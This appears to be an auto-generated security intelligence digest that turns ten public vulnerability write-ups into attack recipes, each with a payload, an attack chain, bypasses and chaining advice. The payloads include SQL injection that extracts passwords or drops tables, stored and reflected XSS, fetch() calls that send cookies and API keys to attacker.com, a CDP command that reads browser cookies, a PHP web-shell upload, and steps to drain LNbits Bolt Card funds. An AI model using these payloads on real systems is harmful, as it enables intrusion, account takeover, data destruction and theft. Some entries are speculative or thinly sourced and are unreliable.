ETX Signal-X

Daily Intelligence Digest

Tuesday, February 10, 2026

10	34
ARTICLES	TECHNIQUES

Article 1

FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract s

Source: threatable

Date:

URL: https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f

T1 Authenticated SQL Injection via Autocomplete Functionality

💉 Payload

```
POST /Core/Controller/CopyModel.php?action=autocomplete
{
  "source": "clientes", // or any allowed value
  "fieldcode": "id_cliente UNION SELECT password FROM users--",
  "fieldtitle": "nombre",
  "term": "a"
}
```

⚔️ Attack Chain

1. Authenticate to the FacturaScripts application.
2. Send a POST request to the autocomplete endpoint (`CopyModel.php?action=autocomplete`) with manipulated `fieldcode` parameter containing SQL injection payload.
3. If the `source` parameter is set to an allowed value (e.g., `clientes`, `contactos`, `proveedores`), the backend executes the query with the injected `fieldcode`.
4. Extract sensitive information (e.g., user passwords) from the database via the response.

🔍 Discovery

The researcher noticed that the autocomplete functionality accepted user-controlled parameters (`fieldcode`, `fieldtitle`) and directly interpolated them into SQL queries. Inspection of the commit revealed missing field name validation prior to version 2025.81.

🔓 Bypass

The vulnerability is only exploitable if the `source` parameter matches one of the allowed values (`Cliente`, `Contacto`, `Proveedor`, `clientes`, `contactos`, `proveedores`). Attempts with other sources are blocked.

🔗 Chain With

Combine with privilege escalation if extracted credentials include admin accounts. Use as a precursor to lateral movement by extracting contact or supplier information for phishing.

T2 Field Name Manipulation for SQL Injection

💉 Payload

```
POST /Core/Model/CodeModel.php
{
  "fieldCode": "id_cliente; DROP TABLE users;--",
  "fieldDescription": "nombre"
}
```

⚔️ Attack Chain

1. Identify endpoints or functions that accept `fieldCode` and `fieldDescription` parameters (such as `CodeModel::all` or `CodeModel::get`).
2. Supply malicious field names containing SQL injection payloads (e.g., `id_cliente; DROP TABLE users;--`).
3. Backend executes SQL queries using these parameters, potentially resulting in data exfiltration or destructive actions.

🔍 Discovery

Code review of `CodeModel.php` revealed that prior to version 2025.81, there was no validation of field names, allowing arbitrary SQL injection via field name parameters.

🔓 Bypass

Post-patch, the application validates field names using a regex (`/^[a-zA-Z0-9_\.]+$/`), blocking payloads with special characters or SQL syntax. Prior to patch, any string was accepted.

🔗 Chain With

Combine with other SQLi vectors for multi-table extraction. Use destructive payloads (e.g., `DROP TABLE`) for denial-of-service attacks.

Article 2

Account Takeover via Insecure Email Change — Critical Vulnerability

Source: securitycipher

Date: 05-Sep-2025

URL: https://medium.com/@3bddagg3/account-takeover-via-insecure-email-change-critical-vulnerability-b67d44d7f600

T1 Insecure Email Change Leading to Account Takeover

💉 Payload

```
POST /api/user/change-email
{
  "email": "attacker@evil.com"
}
```

⚔️ Attack Chain

1. Log in to victim's account (via session, stolen credentials, or IDOR).
2. Send a POST request to `/api/user/change-email` with the attacker's email address in the payload.
3. The application updates the account email without verifying the user's identity or sending a confirmation to the original email.
4. Attacker can now reset the password using the new email address and gain full control over the account.

🔍 Discovery

Manual review of account management endpoints revealed that the email change functionality did not require password re-authentication or confirmation to the original email. Testing direct API requests confirmed the vulnerability.

🔓 Bypass

The endpoint lacked checks for session freshness, password confirmation, or original email confirmation, allowing direct email takeover via API call.

🔗 Chain With

Combine with credential stuffing or session fixation to escalate from partial access (e.g., IDOR) to full account takeover.

T2 Lack of Notification to Original Email on Change

💉 Payload

```
POST /api/user/change-email
{
  "email": "attacker@evil.com"
}
```

⚔️ Attack Chain

1. Attacker changes victim's email via insecure endpoint.
2. No notification is sent to the original email address, preventing the victim from being alerted to the takeover.
3. Attacker proceeds to reset password and lock out the victim.

🔍 Discovery

Observed absence of email notification after changing the account email during testing. Confirmed by monitoring email inbox and application logs.

🔓 Bypass

The application does not trigger any alert or notification to the original email, making the attack stealthy and persistent.

🔗 Chain With

Attack can be chained with phishing or social engineering, as the victim remains unaware of the compromise.

T3 Password Reset Functionality Tied to New Email Without Verification

💉 Payload

```
POST /api/user/reset-password
{
  "email": "attacker@evil.com"
}
```

⚔️ Attack Chain

1. After changing the victim's email to the attacker's email, send a password reset request for the new email.
2. Application sends password reset link/code to the attacker's email.
3. Attacker sets a new password, gaining persistent access to the account.

🔍 Discovery

Tested password reset flow after changing email; verified that reset link was sent to the new email without any verification or notification to the original email.

🔓 Bypass

No verification required for password reset after email change; attacker can immediately reset password and take over account.

🔗 Chain With

Combine with insecure email change and lack of notification for seamless, undetectable account takeover.

Article 3

How I Bypassed Rate limiting To Account Takeover

Source: securitycipher

Date: 03-May-2024

URL: https://medium.com/@Ajakcybersecurity/how-i-bypassed-rate-limiting-to-account-takeover-1df722a527d5

T1 IP Rotation to Bypass Rate Limiting for Account Takeover

💉 Payload

```
Login POST requests with invalid credentials, each sent from a different IP address (via VPN, TOR, or Burp IP Rotator)
```

⚔️ Attack Chain

1. Navigate to the login endpoint.
2. Submit 5 invalid login attempts from a single IP; observe that the IP is banned for 15 minutes.
3. Switch to a new IP address (using VPN, TOR browser, or Burp Suite IP Rotator).
4. Submit another invalid login attempt; notice the rate limit counter resets ("You have used 1 out of 5 login attempts").
5. Repeat steps 3-4, rotating IPs for each login attempt, allowing unlimited brute-force attempts.
6. Use this method to brute-force credentials and achieve account takeover.

🔍 Discovery

Observed rate limiting and IP ban after 5 failed logins. Hypothesized IP-based logic and tested by changing IPs via VPN and TOR, confirming counter reset per IP.

🔓 Bypass

Rate limiting is enforced per IP address. Rotating IPs for each request bypasses the restriction, allowing unlimited login attempts.

🔗 Chain With

Combine with credential stuffing or password spraying attacks. Use automated tools (Burp Suite IP Rotator) for high-volume brute-force. Chain with weak password policies or predictable usernames for rapid ATO.

Article 4

Craft Commerce is an ecommerce platform for Craft CMS. In versions from 4.0.0-RC1 to 4.10.0 and from 5.0.0 to 5.5.1, a stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs b

Source: threatable

Date:

URL: https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

T1 Stored XSS via Unencoded Address Field in Inventory Locations

💉 Payload

```
<script>alert('XSS')</script>
```

⚔️ Attack Chain

1. Navigate to the Inventory Locations management interface in Craft Commerce.
2. Create or edit an Inventory Location and set the address field to the payload above.
3. Save the Inventory Location.
4. When an administrator views the Inventory Locations table, the malicious script executes in their browser.

🔍 Discovery

Review of controller source code revealed that `getAddressLine()` output was not HTML-encoded before being rendered in the table, allowing raw input to be interpreted as HTML/JS.

🔓 Bypass

Prior to patch, any HTML/JS payload in the address field would be executed. No input validation or encoding was enforced.

🔗 Chain With

Can be chained with privilege escalation or session hijacking if admin is targeted.

T2 Stored XSS via Unencoded Name/Description Fields in Shipping Categories

💉 Payload

```
<img src=x onerror=alert('XSS')>
```

⚔️ Attack Chain

1. Navigate to Shipping Categories management in Craft Commerce.
2. Create or edit a Shipping Category, setting the name and/or description fields to the payload above.
3. Save the Shipping Category.
4. When an admin views the Shipping Categories table, the payload executes.

🔍 Discovery

Source diff showed `Craft::t('site', $shippingCategory->name)` and `Craft::t('site', $shippingCategory->description)` were rendered without encoding, allowing injection.

🔓 Bypass

Any HTML/JS payload in name/description fields would execute. No encoding or sanitization applied before patch.

🔗 Chain With

Can be used for persistent admin-side attacks, potentially chaining with CSRF or session theft.

T3 Stored XSS via Unencoded Name/Description Fields in Shipping Zones

💉 Payload

```
<svg/onload=alert('XSS')>
```

⚔️ Attack Chain

1. Navigate to Shipping Zones management.
2. Create/edit a Shipping Zone, setting name and/or description fields to the payload above.
3. Save the Shipping Zone.
4. Admin views the Shipping Zones table, triggering the payload.

🔍 Discovery

Diff analysis showed `Craft::t('site', $shippingZone->name)` and `Craft::t('site', $shippingZone->description)` were not encoded, enabling XSS.

🔓 Bypass

Direct HTML/JS injection in name/description fields was possible due to lack of encoding.

🔗 Chain With

Can be combined with other admin-targeted attacks.

T4 Stored XSS via Unencoded Name/Description Fields in Tax Categories

💉 Payload

```
<iframe src="javascript:alert('XSS')"></iframe>
```

⚔️ Attack Chain

1. Go to Tax Categories management.
2. Create/edit a Tax Category, set name and/or description to the payload above.
3. Save.
4. Admin views Tax Categories table, payload triggers.

🔍 Discovery

Diff revealed `Craft::t('site', $taxCategory->name)` and `Craft::t('site', $taxCategory->description)` were not encoded, allowing injection.

🔓 Bypass

No encoding or sanitization, so any HTML/JS payload would execute.

🔗 Chain With

Can be chained with privilege escalation or session compromise.

T5 Stored XSS via Unencoded Name/Zone Fields in Tax Rates

💉 Payload

```
<marquee onstart=alert('XSS')>
```

⚔️ Attack Chain

1. Access Tax Rates management.
2. Create/edit a Tax Rate, set name or tax zone name to the payload above.
3. Save.
4. Admin views Tax Rates table, payload executes.

🔍 Discovery

Code diff showed `Craft::t('site', $taxRate->name)` and `taxZone->name` were not encoded, enabling XSS.

🔓 Bypass

Direct injection possible due to lack of encoding.

🔗 Chain With

Can be used for persistent admin attacks.

T6 Stored XSS via Unencoded Name/Description Fields in Tax Zones

💉 Payload

```
<details open ontoggle=alert('XSS')>
```

⚔️ Attack Chain

1. Access Tax Zones management.
2. Create/edit a Tax Zone, set name and/or description to the payload above.
3. Save.
4. Admin views Tax Zones table, payload triggers.

🔍 Discovery

Diff showed `Craft::t('site', $taxZone->name)` and `Craft::t('site', $taxZone->description)` were not encoded, allowing injection.

🔓 Bypass

No encoding or sanitization, so any HTML/JS payload would execute.

🔗 Chain With

Can be chained with session hijacking or privilege escalation attacks.

Article 5

How to Instantly Find a Full WordPress Site Takeover (In Just Minutes!)

Source: securitycipher

Date: 21-Jul-2025

URL: https://medium.com/@josekuttykunnelthazhebinu/how-to-instantly-find-a-full-wordpress-site-takeover-in-just-minutes-1d8f7ef2cad0

T1 WordPress Admin Account Creation via Unprotected Registration Endpoint

💉 Payload

```
POST /wp-login.php?action=register
username=attacker&email=attacker@example.com&password=StrongPassword123!
```

⚔️ Attack Chain

1. Identify if the WordPress site allows user registration via `/wp-login.php?action=register`.
2. Submit a registration request with attacker-controlled credentials.
3. If registration is enabled and not restricted, account is created.
4. Attempt to escalate privileges (e.g., via password reset or plugin vulnerabilities).

🔍 Discovery

Manual probing of default WordPress registration endpoint, checking for unrestricted access.

🔓 Bypass

If registration is disabled on `/wp-login.php?action=register`, check for alternate registration endpoints or plugins that re-enable registration.

🔗 Chain With

Combine with privilege escalation vulnerabilities (e.g., plugin misconfigurations, weak password reset flows) to achieve admin access.

T2 Privilege Escalation via Password Reset Functionality

💉 Payload

```
POST /wp-login.php?action=lostpassword
user_login=attacker
```

⚔️ Attack Chain

1. Register a low-privileged user account as attacker.
2. Trigger password reset for an admin account by supplying the admin username or email.
3. If password reset tokens are not properly scoped, attacker receives reset link.
4. Use reset link to set new admin password, gaining full control.

🔍 Discovery

Testing password reset flows for improper token delivery or scoping.

🔓 Bypass

If password reset is restricted by CAPTCHA or email verification, attempt to enumerate email addresses or exploit plugin vulnerabilities that bypass these protections.

🔗 Chain With

Chain with registration bypass (Technique 1) and plugin vulnerabilities for full site takeover.

T3 Exploiting Vulnerable Plugins for Arbitrary File Upload

💉 Payload

```
POST /wp-content/plugins/vulnerable-plugin/upload.php
file=@shell.php
```

⚔️ Attack Chain

1. Enumerate installed plugins for known vulnerable upload endpoints.
2. Upload a PHP web shell via the vulnerable plugin endpoint.
3. Access the shell via `/wp-content/plugins/vulnerable-plugin/shell.php`.
4. Execute commands on the server for full compromise.

🔍 Discovery

Scanning for plugin upload endpoints and testing file upload restrictions.

🔓 Bypass

If file extension restrictions are present, attempt double extensions (e.g., `shell.php.jpg`) or tamper with MIME type.

🔗 Chain With

Combine with privilege escalation and registration bypass for persistent access and lateral movement.

T4 Admin Panel Access via Default Credentials

💉 Payload

```
POST /wp-login.php
username=admin&password=admin
```

⚔️ Attack Chain

1. Attempt login with default credentials (`admin:admin`).
2. If successful, access admin panel and modify site content or install malicious plugins.

🔍 Discovery

Brute-forcing or manual testing of default credentials on WordPress login.

🔓 Bypass

If login fails, enumerate usernames and attempt weak passwords or password reset attacks.

🔗 Chain With

Chain with plugin exploitation for privilege escalation or persistence.

Article 6

XSS Chronicles: How I Stumbled Upon a Critical API Key Leak

Source: securitycipher

Date: 22-Feb-2025

URL: https://medium.com/@soufianehabti/xss-chronicles-how-i-stumbled-upon-a-critical-api-key-leak-9ea65ffc3f5a

T1 Reflected XSS via Search Query Parameter

💉 Payload

```
"><script>fetch('https://attacker.com/?cookie='+document.cookie)</script>
```

⚔️ Attack Chain

1. Navigate to the search endpoint: `/search?q=`
2. Inject the payload into the `q` parameter.
3. Submit the request and observe the payload reflected and executed in the response.
4. The script exfiltrates cookies to an attacker-controlled domain.

🔍 Discovery

Manual fuzzing of query parameters in search functionality, looking for unsanitized reflection of input.

🔓 Bypass

Payload uses a closing quote and angle bracket to break out of HTML attribute context, enabling script injection.

🔗 Chain With

Can be chained with session hijacking or privilege escalation if cookies contain sensitive tokens.

T2 API Key Leak via XSS in JavaScript Variable

💉 Payload

```
"><script>fetch('https://attacker.com/?key='+window.API_KEY)</script>
```

⚔️ Attack Chain

1. Identify a page where API keys are assigned to JavaScript variables, e.g., `window.API_KEY = "..."`.
2. Inject the payload via a reflected input (e.g., search or profile field).
3. Payload executes and exfiltrates the API key to an attacker-controlled domain.

🔍 Discovery

Inspection of JavaScript source for sensitive assignments and testing reflected input vectors for XSS.

🔓 Bypass

Payload leverages access to global JS variables exposed by insecure client-side code.

🔗 Chain With

Leaked API key can be used for direct API abuse, privilege escalation, or chaining with SSRF if the API allows internal network access.

T3 DOM-Based XSS via Location Hash

💉 Payload

```
#"><img src=x onerror=fetch('https://attacker.com/?hash='+location.hash)>
```

⚔️ Attack Chain

1. Craft a URL with a malicious hash fragment containing the payload.
2. Visit a page where the hash is processed by insecure JavaScript (e.g., `document.location.hash` inserted into DOM).
3. Payload triggers image error event and exfiltrates the hash value.

🔍 Discovery

Source code review for DOM manipulation using `location.hash` and testing with crafted hash fragments.

🔓 Bypass

Payload uses an image tag with `onerror` to bypass filters and trigger code execution in DOM context.

🔗 Chain With

Can be chained with phishing or session fixation attacks if hash contains sensitive tokens or state.

Article 7

Malicious Websites Can Exploit Openclaw (aka Clawdbot) To Steal Credentials - ZeroPath Blog | ZeroPath

Source: threatable

Date:

URL: https://zeropath.com/blog/openclaw-clawdbot-credential-theft-vulnerability

T1 Localhost WebSocket Abuse via Malicious Website

💉 Payload

```
const ws = new WebSocket("ws://127.0.0.1:18792/cdp");
```

⚔️ Attack Chain

1. Attacker hosts malicious JavaScript on a website.
2. Victim visits the malicious site in a browser with Openclaw extension installed.
3. Malicious JS initiates a WebSocket connection to `ws://127.0.0.1:18792/cdp` (the Openclaw browser relay server).
4. Connection is allowed because browser JS uses the user's own network interface, bypassing remote address checks.
5. Attacker sends arbitrary Chrome DevTools Protocol (CDP) commands through the WebSocket, gaining control over browser actions.
6. Attacker can access cookies, session tokens, or inject JS in other tabs.

🔍 Discovery

Manual code review of Openclaw's browser relay server logic, specifically the /cdp endpoint and its loopback address check.

🔓 Bypass

Browser JavaScript uses the user's local network interface, so the remote address check (isLoopbackAddress) does not prevent connections from malicious sites running in the user's browser.

🔗 Chain With

Combine with session hijacking or AiTM phishing kits (e.g., evilnginx) to steal high-value tokens. Use CDP commands to pivot into further browser exploitation (e.g., script injection, tab manipulation).

T2 Arbitrary CDP Command Execution for Credential Theft

💉 Payload

```
ws.send(JSON.stringify({  id: 2,   method: "Runtime.evaluate",  // evaluates javascript   sessionId: // session id obtained via previous command   params: {  expression: "document.cookie",  // or any JS   returnByValue: true   }   }));
```

⚔️ Attack Chain

1. Attacker establishes WebSocket connection to Openclaw's /cdp endpoint from malicious website JS.
2. Attacker sends CDP command `Runtime.evaluate` to execute arbitrary JavaScript in the context of other browser tabs.
3. Attacker retrieves sensitive data such as cookies or session tokens from victim's active sessions (e.g., Gmail, Microsoft 365).
4. Data is exfiltrated to attacker-controlled infrastructure.

🔍 Discovery

Analysis of CDP command surface exposed by Openclaw's relay server and testing with proof-of-concept payloads.

🔓 Bypass

CDP commands are accepted without authentication or origin validation prior to the patch, allowing arbitrary JS execution in any tab.

🔗 Chain With

Use with cross-tab session hijacking for persistent access. Combine with further CDP methods (e.g., navigation, DOM manipulation) for advanced browser exploitation.

T3 SVG-Based Credential Theft via Clawdhub Skill Supply Chain

💉 Payload

```
No explicit SVG payload provided in this article, but referenced as:
"devising an attack to steal Clawdhub users' session credentials with a malicious svg"
---
```

⚔️ Attack Chain

1. Attacker uploads a malicious SVG file as a skill to Clawdhub.
2. SVG is rendered in the context of Clawdhub users, executing embedded JavaScript or leveraging SVG-based browser vulnerabilities.
3. Session credentials are stolen and exfiltrated to attacker.

🔍 Discovery

Referenced prior research by Jamieson O'Reilly, exploiting supply chain and SVG rendering vulnerabilities in Clawdhub.

🔓 Bypass

Supply chain attack bypasses user authentication by leveraging trusted skill distribution.

🔗 Chain With

Combine with other skill-based attacks for persistent access. Use SVG payloads to escalate privileges or pivot to further browser exploitation.

T4 Unauthenticated Control Panel Exposure

💉 Payload

```
No explicit payload, but described as:
"many people configured Openclaw in a way that exposes the control panel to the world witho
ut authentication"
---
```

⚔️ Attack Chain

1. Attacker scans for publicly exposed Openclaw control panels.
2. Attacker accesses the panel directly, as no authentication is required.
3. Attacker issues commands to Openclaw, gaining full access to victim's AI agent and potentially their system.

🔍 Discovery

Network scanning and configuration review, identifying misconfigured instances with exposed control panels.

🔓 Bypass

No authentication required; exposure is due to insecure default or user misconfiguration.

🔗 Chain With

Combine with browser relay attacks for deeper system compromise. Use control panel access to deploy malicious skills or manipulate agent behavior.

T5 Malicious Skill Supply Chain Attack

💉 Payload

```
No explicit payload, but described as:
"adding a backdoored skill to Clawdhub"
---
```

⚔️ Attack Chain

1. Attacker creates a malicious skill and uploads it to Clawdhub.
2. Victims install the skill, trusting the supply chain.
3. Malicious skill executes arbitrary code or exfiltrates sensitive data from victim's Openclaw agent.

🔍 Discovery

Supply chain analysis and skill review, identifying lack of validation or sandboxing for uploaded skills.

🔓 Bypass

Supply chain trust is exploited; skills are not adequately vetted or sandboxed.

🔗 Chain With

Combine with control panel exposure for mass deployment. Use malicious skills to pivot into browser relay or local system attacks.

Article 8

I will show you how to hack NFC Bolt Card from LNbits

Source: threatable

Date:

URL: https://github.com/ta007403/How-To-Hack-NFC-Card-By-Just-Know-Invoice-Read-Key

T1 Unauthorized Funds Extraction via LNbits Bolt Card API

💉 Payload

```
https://YOUR_LN_NODE_URL/boltcards/api/v1/cards
```

⚔️ Attack Chain

1. Obtain the victim's Invoice/Read Key and Lightning Node URL associated with their LNbits Bolt Card account.
2. Send a request to `/boltcards/api/v1/cards` endpoint on the victim's node to retrieve sensitive card data (UID, Counter Number, External ID, K1, K2).
3. Use extracted data to calculate SUN and CMAC values (using Cal_CMAC_SUN.py).
4. Generate a LNURLw using SUN and CMAC.
5. Browse the LNURLw in a browser to trigger LNbits to generate a callback URL and k1 value.
6. Copy the callback and k1 value generated by LNbits.
7. Create your own Lightning Invoice (ensuring it does not exceed the victim's card balance or max transaction size; check with `/api/v1/wallet` or Get_Amount.py).
8. Construct the payout URL:
9. ...`
10. Browse the constructed payout URL in a browser. If successful, response will be `{"status":"OK"}` and funds will be transferred to your invoice.

🔍 Discovery

Researcher analyzed LNbits Bolt Card API documentation and repo files, identified that possession of Invoice/Read Key and Lightning Node URL enables full card data extraction and subsequent unauthorized fund transfer.

🔓 Bypass

No authentication required beyond knowledge of Invoice/Read Key and Lightning Node URL; attacker does not need physical access to the card or the owner's account.

🔗 Chain With

Combine with phishing or social engineering to obtain Invoice/Read Key and Lightning Node URL. Use in conjunction with LNbits API misconfigurations or exposed endpoints to automate mass extraction.

T2 Balance and Transaction Limit Enumeration via LNbits Wallet API

💉 Payload

```
https://YOUR_LN_NODE_URL/api/v1/wallet
```

⚔️ Attack Chain

1. With access to the victim's Invoice/Read Key and Lightning Node URL, send a request to `/api/v1/wallet` endpoint.
2. Retrieve wallet balance and max transaction size for the Bolt Card.
3. Use this information to craft Lightning Invoices that maximize unauthorized withdrawals without triggering limit protections.

🔍 Discovery

Researcher explored LNbits API endpoints and identified that `/api/v1/wallet` exposes balance and transaction limits without additional authentication.

🔓 Bypass

No authentication required; attacker can enumerate wallet limits and tailor withdrawal amounts accordingly.

🔗 Chain With

Use with Technique 1 to optimize fund extraction and avoid detection by staying within transaction limits.

T3 LNURLw Generation for Unauthorized Withdrawal

💉 Payload

```
[Use Cal_CMAC_SUN.py with extracted UID, Counter Number, External ID, K1, K2 to generate LNURLw]
```

⚔️ Attack Chain

1. After extracting card data (UID, Counter Number, External ID, K1, K2) via Technique 1, input these values into Cal_CMAC_SUN.py.
2. Calculate SUN and CMAC values.
3. Generate LNURLw, which can be used to initiate withdrawal from the victim's Bolt Card.
4. Browse LNURLw in a browser to trigger LNbits withdrawal flow.

🔍 Discovery

Researcher reverse-engineered LNbits Bolt Card withdrawal flow and identified that LNURLw can be generated with only card data, enabling withdrawal without physical card or account access.

🔓 Bypass

Attacker bypasses physical card requirement by generating LNURLw programmatically.

🔗 Chain With

Use with Techniques 1 and 2 for full automation of unauthorized withdrawals. Combine with LNbits callback manipulation for custom payout destinations.

Article 9

Title: How a Simple Header Lets Attackers Bypass OTP Rate Limits (And How to Fix It)

Source: securitycipher

Date: 15-Mar-2025

URL: https://medium.com/@PareXploit/title-how-a-simple-header-lets-attackers-bypass-otp-rate-limits-and-how-to-fix-it-a005167c6eaf

T1 X-Forwarded-For Header Manipulation to Bypass OTP Rate Limiting

💉 Payload

```
X-Forwarded-For: 127.0.0.1
```

⚔️ Attack Chain

1. Identify OTP endpoint (e.g., `/api/send-otp`).
2. Send OTP requests with varying `X-Forwarded-For` header values (e.g., `X-Forwarded-For: 127.0.0.1`, `X-Forwarded-For: 127.0.0.2`, etc.).
3. Observe that rate limiting is enforced per value of `X-Forwarded-For`, not per actual client IP.
4. Automate requests with rotating `X-Forwarded-For` values to bypass rate limiting and send unlimited OTPs.

🔍 Discovery

Researcher noticed rate limit was enforced inconsistently. Testing with different `X-Forwarded-For` values revealed that the backend used this header for rate limiting logic.

🔓 Bypass

Changing the `X-Forwarded-For` header allows an attacker to reset the rate limit counter, as the backend trusts this header for identifying the client IP.

🔗 Chain With

Can be chained with brute-force attacks, account enumeration, or OTP flooding to escalate impact. Useful for bypassing other IP-based restrictions if backend logic trusts `X-Forwarded-For`.

T2 Automated Rotation of X-Forwarded-For Values for Mass OTP Flooding

💉 Payload

```
X-Forwarded-For: <random IP>
```

⚔️ Attack Chain

1. Script OTP requests to `/api/send-otp` with a list of random IPs in the `X-Forwarded-For` header.
2. Each request uses a new IP value (e.g., `X-Forwarded-For: 192.168.1.100`, `X-Forwarded-For: 10.0.0.5`, etc.).
3. Rate limit is bypassed for each unique header value, enabling mass OTP flooding.

🔍 Discovery

After discovering the header-based rate limit bypass, researcher automated the process by generating random IPs for each request.

🔓 Bypass

Backend does not validate the authenticity of IPs in `X-Forwarded-For`, so attacker can use arbitrary values to evade rate limits.

🔗 Chain With

Enables large-scale OTP spam, potential for denial-of-service, or facilitating brute-force OTP attacks. Can be combined with account enumeration or social engineering.

Article 10

Open Redirect Vulnerability — The Silent Gateway to Phishing and OAuth Hijacks

Source: securitycipher

Date: 17-Jul-2025

URL: https://systemweakness.com/open-redirect-vulnerability-the-silent-gateway-to-phishing-and-oauth-hijacks-cce80ad9aa4c

T1 Basic Open Redirect via Query Parameter

💉 Payload

```
https://example.com/redirect?url=https://evil.com
```

⚔️ Attack Chain

1. Identify endpoint accepting a URL parameter (e.g., `/redirect?url=`).
2. Supply an external URL as the parameter value (e.g., `https://evil.com`).
3. Endpoint redirects user to the attacker-controlled site.

🔍 Discovery

Manual fuzzing of URL parameters with external domains; observed redirection behavior.

🔓 Bypass

None described for this basic variant.

🔗 Chain With

Can be used as a phishing vector or chained with OAuth flows to hijack tokens by redirecting after authentication.

T2 Open Redirect via Encoded Payloads

💉 Payload

```
https://example.com/redirect?url=%68%74%74%70%73%3A%2F%2F%65%76%69%6C%2E%63%6F%6D
```

⚔️ Attack Chain

1. Identify endpoint accepting a URL parameter.
2. Encode the malicious URL using percent encoding.
3. Submit encoded payload; endpoint decodes and redirects to attacker-controlled site.

🔍 Discovery

Testing URL encoding to bypass naive filtering or validation.

🔓 Bypass

Encoding bypasses basic blacklist or pattern matching defenses.

🔗 Chain With

Useful for bypassing naive input validation; can be chained with phishing or OAuth token theft.

T3 Open Redirect via Path Traversal in URL Parameter

💉 Payload

```
https://example.com/redirect?url=//evil.com
```

⚔️ Attack Chain

1. Identify endpoint accepting a URL parameter.
2. Supply a payload starting with `//` to trick the parser into treating it as an absolute URL.
3. Endpoint redirects to attacker-controlled domain.

🔍 Discovery

Testing for parser quirks with double slashes; observed redirection to external site.

🔓 Bypass

Double slash (`//`) bypasses checks for `http` or `https` prefixes.

🔗 Chain With

Can be used in OAuth flows or phishing campaigns; may bypass domain whitelists.

T4 Open Redirect via OAuth Authorization Flow Manipulation

💉 Payload

```
https://example.com/oauth/authorize?redirect_uri=https://evil.com
```

⚔️ Attack Chain

1. Identify OAuth authorization endpoint accepting a `redirect_uri` parameter.
2. Supply attacker-controlled URL as `redirect_uri`.
3. Victim authenticates; OAuth server redirects to attacker site with sensitive tokens or codes.

🔍 Discovery

Reviewing OAuth flows for unvalidated `redirect_uri` parameters.

🔓 Bypass

None described; relies on lack of strict validation of `redirect_uri`.

🔗 Chain With

Directly enables OAuth token/code theft; can be chained with phishing for account takeover.

T5 Open Redirect Bypass via Subdomain Whitelisting

💉 Payload

```
https://example.com/redirect?url=https://evil.com.example.com
```

⚔️ Attack Chain

1. Identify endpoint with domain whitelist (e.g., only `example.com` allowed).
2. Supply payload with attacker-controlled subdomain (e.g., `evil.com.example.com`).
3. Endpoint treats subdomain as valid and redirects to attacker-controlled site.

🔍 Discovery

Testing subdomain variations to bypass domain whitelists.

🔓 Bypass

Subdomain trick exploits naive domain matching (e.g., string `endsWith` or `contains`).

🔗 Chain With

Enables phishing and OAuth hijacks even on domains with whitelist protections.